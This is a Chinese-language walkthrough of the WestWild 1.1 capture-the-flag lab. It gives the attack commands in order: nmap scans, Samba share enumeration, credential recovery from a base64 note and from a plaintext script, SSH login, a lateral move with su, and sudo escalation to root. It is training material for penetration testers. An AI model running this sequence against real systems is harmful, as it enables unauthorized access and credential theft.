打靶练习:WestWild 1.1(一个简单但不失优雅的Ubuntu靶机)
主机发现和nmap信息收集
//主机发现
sudo nmap -sn 192.168.226.0/24 //扫描整个C段//端口扫描//初步扫描
sudo nmap -sT --min-rate 10000 -p- 192.168.226.131 -oA nmapscan/ports //用TCP的三次握手,以速率10000扫描1-65535端口,扫描结果以全格式输出到ports文件中//详细扫描
sudo nmap -sT -sC -O -p22,80,139,445 192.168.28.43 -oA nmapscan/detail //扫描端口TCP,服务版本和操作系统的版本 //UDP扫描
sudo nmap -sU --top-ports 20 192.168.226.131 -oA nmapscan/udp //UDP扫描,寻找有用信息可以渗透UDP端口,优先级较后//漏洞脚本扫描
sudo nmap --script=vuln -p22,80,139,445 192.168.226.131 -oA nmapscan/vuln //漏洞脚本扫描
-sn 告诉nmap在主机进行发现后不进行端口扫描,只打印响应主机嗅探的可用主机,也被称为ping扫描。sn可以与任何发现探测类型结合使用,如-pn等等,以获得更大的灵活性,如果使用了这些探测类型和端口号选项中的任何一个,则会覆盖默认探测
-sC 用默认脚本进行扫描
也就是说,-sC是用kali自带的默认工具进行扫描,-sn不做端口扫描,只嗅探主机的IP,实际上能确保扫描的隐秘性,这在真实的渗透环境中,是很有必要的。
samba渗透
经过详细的端口扫描,发现139和445端口有Samba服务,并且有一些信息,需要重点查看,如果不行,则看80端口,22端口优先级最后。
sudo smbmap -H 192.168.226.131 //用smbmap扫描驱动盘的敏感信息和共享信息,发现只有wave可以访问
sudo smbclient //192.168.226.131/wave //使用交互式方式访问samba服务器的共享资源wave
smb: > dir //查看目录
smbmap允许用户枚举整个域中的samba共享驱动器
smbclient列出某个IP地址所提供的共享文件夹
也就是说,smbmap是枚举Linux中所有Samba服务器共享文件的命令,smbclient是列出某Linux的IP的Samba服务器的共享文件夹
查看smb共享目录后发现flag1:

//下载文件并查看
smb: > prompt //关闭交互式的提示
smb: \> mget *.txt //下载Samba服务器中的所有TXT文件
smb: \> q //退回到kali
(kali㉿kali)-[~]cat *.txt //查看文本文件信息
查看后发现一段base64编码和aveng用户提示自己丢失密码,并要求wave用户寻找密码的信息:

echo RmxhZzF7V2VsY29tZV9UMF9USEUtVZNTVC1XMUXELUIWcmRIcn0KdXNIcjp3YXZleApwYXNzd29yZDpkb29yK29wZW4K | base64 -d //解码base64编码
发现wavex的用户名和密码,139和445端口渗透结束,获得了通往22端口的账号和密码:

web渗透
打开web页面,只发现了一张图片,点击复制图片连接,下载并查看是否有隐写信息

//查看图片是否有隐写信息
wget http://192.168.226.131/bkgro.png //下载web页面的图片
exiftool bkgro.png //查看图片信息
没有发现隐藏信息:

#用samba敏感信息获得立足点
//ssh登录用户
sudo ssh wavex@192.168.226.131 //用之前解码base64编码得到的敏感信息登录ssh
wavex@WestWild;-$ whoami //查看用户
wavex@WestWild:~$ uname -a //查看系统信息
wavex@WestWild:~$ ip a //查看网卡信息//根据之前在Samba中得到的信息,aveng用户丢失了自己的密码要求wave用户找回,寻找文件夹,尝试访问
wavex@aWestWild;-$ ls
wavex@WestWild:~$ cd wave/
wavex@WestWild:~/wave$ ls //发现是之前找到的两个文件,暂时不管
wavex@WestWild:~/wave$ ls -liah //尝试查看文件信息,发现没有有用信息
wavex@WestWild:~/wave$ cat .viminfo //尝试查看viminfo信息,Vim用来记录退出时的状态
查看wave用户的vim文件,发现他对passwd有权限:

wavex@aWestWild;~$ ls -liah /etc/passwd //查看后发现只有读权限
用户横向移动
wavex@aWestWild;-$ cat /etc/crontab //查找是否有自动任务,没有发现//权限枚举
wavex@aWestWild:~$ find / -writable -type f ! -path '/proc/*' 2> /dev/null //查找可写文件,并排除路径,丢弃错误信息(防止信息洪水)
简单来讲,横向移动是指攻击者成功攻击一台计算机后,由该计算机横向跨越到另一台计算机,获取相关权限,进而窃取敏感信息的活动。
2 > /dev/null 2是一个文件描述符,表示标准错误,>表示重定向, /dev/null是一个linux的特殊文件,相当于垃圾桶
-path ‘/proc/*’ 排除路径
crontab:定时任务的守护进程, 包含用户任务调度:用户定期要执行的工作,比如用户数据备份、定时邮件提醒等。
查看后发现有一个感兴趣路径usr/share:

wavex@aWestWild:~$ cat /usr/share/av/westsidesecret/ififoregt.sh //查看感兴趣的路径
查看路径文件发现aveng的明文密码:

wavex@aWestWild:~$ su aveng //横向移动
aveng@awestwild:/home/wavex$ whoami
aveng@awestWild: /home/wavex cd ../aveng/
aveng@awestWild:ls -liah //查看avenge信息
sudo提权到root
avengawestWild;-$ sudo -l //查看权限(发现avenge有所有权限)
avengawestwild:-$ sudo /bin/bash
rootaWestWild:~# //提权完成
rootaWestWild;-$ whoami //查看用户
rootaWestWild:~$ uname -a //查看系统信息
rootaWestWild:~$ ip a //查看网卡信息
rootaWestWild:~$ cd root
rootaWestwild:/root# cat FLAG2.txt //查看flag2
提示打靶完成:

总结
先进行主机发现,端口扫描,发现22,80,139,445端口。139,445端口是Sam端口,需要重点查看。在Samba渗透中果然发现了flag1和另一个文件,查看后发现敏感信息,通过敏感信息登录SSH(22端口)获得了系统立足点,而对于80端口,不需要继续查看了
在第一个用户中查看信息发现了一个可写文件bash脚本(bash是一种常用的shell,shell是Linux的接口程序,用户通过shell访问Linux),打开后发现该脚本不是自动任务,而是一个防止用户忘记密码的备份,用里面的明文密码登录到另一个用户,用sudo -l发现该用户有所有的权限,然后使用sudo /bin/bash提权成功。
在root文件夹中发现flag2,查看flag2,它提示我们打靶成功
相关文章:
打靶练习:WestWild 1.1(一个简单但不失优雅的Ubuntu靶机)
主机发现和nmap信息收集 //主机发现 sudo nmap -sn 192.168.226.0/24 //扫描整个C段//端口扫描//初步扫描 sudo nmap -sT --min-rate 10000 -p- 192.168.226.131 -oA nmapscan/ports //用TCP的三次握手,以速率10000扫描1-65535端口,扫描结果以全格式…...
【2.3】Java微服务:sentinel服务哨兵
✅作者简介:大家好,我是 Meteors., 向往着更加简洁高效的代码写法与编程方式,持续分享Java技术内容。 🍎个人主页:Meteors.的博客 💞当前专栏:Java微服务 ✨特色专栏: 知识分享 &…...
【C++】开源:abseil-cpp基础组件库配置使用
😏★,:.☆( ̄▽ ̄)/$:.★ 😏 这篇文章主要介绍abseil-cpp基础组件库配置使用。 无专精则不能成,无涉猎则不能通。——梁启超 欢迎来到我的博客,一起学习,共同进步。 喜欢的朋友可以关注一下&#…...
【GPT-3 】创建能写博客的AI工具
一、说明 如何使用OpenAI API,GPT-3和Python创建AI博客写作工具。 在本教程中,我们将从 OpenAI API 中断的地方继续,并创建我们自己的 AI 版权工具,我们可以使用它使用 GPT-3 人工智能 (AI) API 创建独特的…...
[保研/考研机试] KY35 最简真分数 北京大学复试上机题 C++实现
题目链接: 最简真分数https://www.nowcoder.com/share/jump/437195121691719749588 描述 给出n个正整数,任取两个数分别作为分子和分母组成最简真分数,编程求共有几个这样的组合。 输入描述: 每组包含n(n<600&…...
算法备案后,企业需要做什么?合规与执行挑战
随着技术的迅猛发展,算法已经成为多数企业核心竞争力的一部分。但在技术进步的同时,我们也面临了算法透明度、公平性以及安全性的问题。因此,许多国家已经开始实施算法备案制度,以确保算法的应用满足一定的标准和规范。但在完成算…...
云原生应用程序的自动化管理和编排
云原生应用程序是一种为云环境设计的应用程序,它采用了如微服务、容器、可伸缩性和自动化等特性,以最大限度地提高效率和响应速度。本文将深入探讨云原生应用如何实现自动化管理和编排。 容器化 容器技术,如Docker,是云原生应用程…...
Spring项目整合过滤链模式~实战应用
代码下载 设计模式代码全部在gitee上,下载链接: https://gitee.com/xiaozheng2019/desgin_mode.git 日常写代码遇到的囧 1.新建一个类,不知道该放哪个包下 2.方法名称叫A,干得却是A+B+C几件事情,随时隐藏着惊喜 3.想复用一个方法,但是里面嵌套了多余的逻辑,只能自己拆出来…...
FFmpeg常见命令行(五):FFmpeg滤镜使用
前言 在Android音视频开发中,网上知识点过于零碎,自学起来难度非常大,不过音视频大牛Jhuster提出了《Android 音视频从入门到提高 - 任务列表》,结合我自己的工作学习经历,我准备写一个音视频系列blog。本文是音视频系…...
网络编程 tcp udp http编程流程 网络基础知识
讲解 网络基础知识网络编程tcp编程流程图示理解bind和accept函数理解监视套接字和链接套接字理解linux和window下的编程实现tcp特点 udp编程流程图示理解udp特点 http编程流程图示理解编程实现-网站服务器 网络基础知识 OSI分层:应用层 表示层 会话层 传输层 网络层…...
LaTeX基础学习笔记
LaTeX是一个文本编辑器。其类似于markdown,使用特殊标记和代码来修改文本格式,创建特殊字符等。可以使用overleaf在线LaTex编辑器编写LaTeX并转换为pdf文件(https://www.overleaf.com/) 同时推荐一个网站http://detexify.kirelab…...
zookeeper和kafka
目录 一、zookeeper理论 1.1、zookeeper定义 1.2、zookeeper工作机制 1.3、zookeeper特点 1.4、zookeeper的数据结构 1.5、zookeeper应用场景 1.6、zookeeper的选举机制 二、部署Zookeeper 集群 2.1、环境准备 2.2、安装 Zookeeper 2.3、修改配置文件 2.4、配置…...
服务器无法加载海康sdk依赖的问题
首先遇到的jna.jar和examples.jar无法加载的问题,尝试了很多方法无效,以下方法实测有效 其次是动态链接库无法加载的问题,而且是播放库,我的方法比较简单,netsdk加载出来就行了,播放库用不到,删…...
brew+nginx配置静态文件服务器
背景 一下子闲下来了,了解的我的人都知道我闲不下来。于是,我在思考COS之后,决定自己整一个本地的OSS,实现静态文件的访问。那么,首屈一指的就是我很熟的nginx。也算是个小复习吧,复习一下nginx代理静态文…...
JavaFx异常: Not on FX application thread; currentThread = Timer-0
我的定时器任务中有两个控件: FXML TextArea Display; FXML Label Label_Display; 执行下方代码会抛出:Exception in thread "Timer-0" java.lang.IllegalStateException: Not on FX application thread; currentThread Timer-0 Timer_tas…...
【Django】无法从“django.utils.encoding”导入名称“force_text”
整晚处理 Django 的导入错误。 我将把它作为提醒,希望处于相同情况的人数会减少。 原因 某些软件包版本不支持Django 4 请看下表并决定Django和Python的版本 方案 如果出现难以响应,或者更改环境麻烦,请尝试以下操作 例如出现以下错误 …...
docker-compose redis 一直启动失败
环境: centos 8.x 背景 使用docker-compose 来启动redis docker-compose.yml 如下: version: 3.3 services:redis:image: redis:latestrestart: alwayscontainer_name: redisports:- 6379:6379volumes:- ./data:/redis/data- ./redis.conf:/redis/re…...
使用GUI Guider工具在MCU上开发嵌入式GUI应用 (1) - GUI Guider简介及安装
使用GUI Guider工具在MCU上开发嵌入式GUI应用 (1) - GUI Guider简介及安装 受限于每篇文章最多只能贴9张图的限制,这个教程被拆分成了多篇文章连载发布,完整目录结构如下图x所示。后续会发布完整教程的pdf文件,敬请期待。 图x 完整教程文档…...
解决:django设置DEBUG=false时出现的问题
首先,我用的是django4.2,python3.10版本 本来,如果在settings.py中使用 DEBUG True,那么什么问题也没有,当然,这属于调试模式。 DEBUG True TEMPLATE_DEBUG DEBUGSTATIC_URL /static/ STATICFILES_DI…...
2023-08-10力扣每日一题
链接: 1289. 下降路径最小和 II 题意: 每一行选择一个数字,相邻行选择不能是同一列,求选择的数字和最小是多少 解: 每一行选择最小的次小的,下一行能加最小的(列坐标不冲突)就加…...
k8s从入门到放弃之Ingress七层负载
k8s从入门到放弃之Ingress七层负载 在Kubernetes(简称K8s)中,Ingress是一个API对象,它允许你定义如何从集群外部访问集群内部的服务。Ingress可以提供负载均衡、SSL终结和基于名称的虚拟主机等功能。通过Ingress,你可…...
ETLCloud可能遇到的问题有哪些?常见坑位解析
数据集成平台ETLCloud,主要用于支持数据的抽取(Extract)、转换(Transform)和加载(Load)过程。提供了一个简洁直观的界面,以便用户可以在不同的数据源之间轻松地进行数据迁移和转换。…...
网络编程(UDP编程)
思维导图 UDP基础编程(单播) 1.流程图 服务器:短信的接收方 创建套接字 (socket)-----------------------------------------》有手机指定网络信息-----------------------------------------------》有号码绑定套接字 (bind)--------------…...
企业如何增强终端安全?
在数字化转型加速的今天,企业的业务运行越来越依赖于终端设备。从员工的笔记本电脑、智能手机,到工厂里的物联网设备、智能传感器,这些终端构成了企业与外部世界连接的 “神经末梢”。然而,随着远程办公的常态化和设备接入的爆炸式…...
SQL慢可能是触发了ring buffer
简介 最近在进行 postgresql 性能排查的时候,发现 PG 在某一个时间并行执行的 SQL 变得特别慢。最后通过监控监观察到并行发起得时间 buffers_alloc 就急速上升,且低水位伴随在整个慢 SQL,一直是 buferIO 的等待事件,此时也没有其他会话的争抢。SQL 虽然不是高效 SQL ,但…...
AI+无人机如何守护濒危物种?YOLOv8实现95%精准识别
【导读】 野生动物监测在理解和保护生态系统中发挥着至关重要的作用。然而,传统的野生动物观察方法往往耗时耗力、成本高昂且范围有限。无人机的出现为野生动物监测提供了有前景的替代方案,能够实现大范围覆盖并远程采集数据。尽管具备这些优势…...
API网关Kong的鉴权与限流:高并发场景下的核心实践
🔥「炎码工坊」技术弹药已装填! 点击关注 → 解锁工业级干货【工具实测|项目避坑|源码燃烧指南】 引言 在微服务架构中,API网关承担着流量调度、安全防护和协议转换的核心职责。作为云原生时代的代表性网关,Kong凭借其插件化架构…...
使用SSE解决获取状态不一致问题
使用SSE解决获取状态不一致问题 1. 问题描述2. SSE介绍2.1 SSE 的工作原理2.2 SSE 的事件格式规范2.3 SSE与其他技术对比2.4 SSE 的优缺点 3. 实战代码 1. 问题描述 目前做的一个功能是上传多个文件,这个上传文件是整体功能的一部分,文件在上传的过程中…...
Kubernetes 节点自动伸缩(Cluster Autoscaler)原理与实践
在 Kubernetes 集群中,如何在保障应用高可用的同时有效地管理资源,一直是运维人员和开发者关注的重点。随着微服务架构的普及,集群内各个服务的负载波动日趋明显,传统的手动扩缩容方式已无法满足实时性和弹性需求。 Cluster Auto…...
大数据治理的常见方式
大数据治理的常见方式 大数据治理是确保数据质量、安全性和可用性的系统性方法,以下是几种常见的治理方式: 1. 数据质量管理 核心方法: 数据校验:建立数据校验规则(格式、范围、一致性等)数据清洗&…...
